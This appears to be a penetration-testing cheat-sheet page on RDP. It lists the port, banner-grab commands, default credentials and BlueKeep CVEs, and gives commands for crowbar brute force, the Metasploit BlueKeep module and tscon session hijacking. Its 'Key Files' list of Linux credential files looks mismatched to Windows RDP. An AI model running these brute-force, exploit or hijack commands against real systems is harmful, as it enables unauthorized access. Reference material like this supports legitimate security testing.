Back to services

RDP

RDPRemote DesktopTerminal Services

Remote Desktop Protocol (RDP) provides GUI remote access to Windows. BlueKeep (CVE-2019-0708), credential brute force, and NLA bypass are common issues.

Ports

PortProtocolDescription
3389tcpRDP

Fingerprints

Banner / ProbeExpected Response
nmap -sV -p <port> <target>Service banner and version info
nc -nv <target> <port>Raw banner grab

Key Files

PathDescription
/etc/passwdList of system users
/etc/shadowPassword hashes for local users
/etc/ssh/sshd_configSSH server configuration
~/.ssh/id_rsaSSH private key

Default Credentials

UsernamePasswordContext
adminadminGeneric admin account
rootrootGeneric root account

Known CVEs

IdentifierTypeDescription
CVE-2019-0708RCEBlueKeep — pre-auth RCE in RDP
CVE-2020-0662RCERemote Desktop Services RCE

Exploitation Primitives

TechniqueTool / CommandResult
Brute Forcecrowbar -b rdp -s <target>/32 -u administrator -C pass.txtRDP password spray
BlueKeepmsfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep"Pre-auth RCE

Notes

BlueKeep (CVE-2019-0708) affects Windows 7/Server 2008 R2 unpatched. Always check the OS version.

RDP session hijacking via `tscon` requires SYSTEM privileges:

`query user` to list sessions, then `tscon <ID> /dest:console`.

Tools: `crowbar`, `hydra`, `BlueKeep` Metasploit module, `rdp-sec-check.pl`.

Seen on

ShodanCensysFOFAZoomEye

References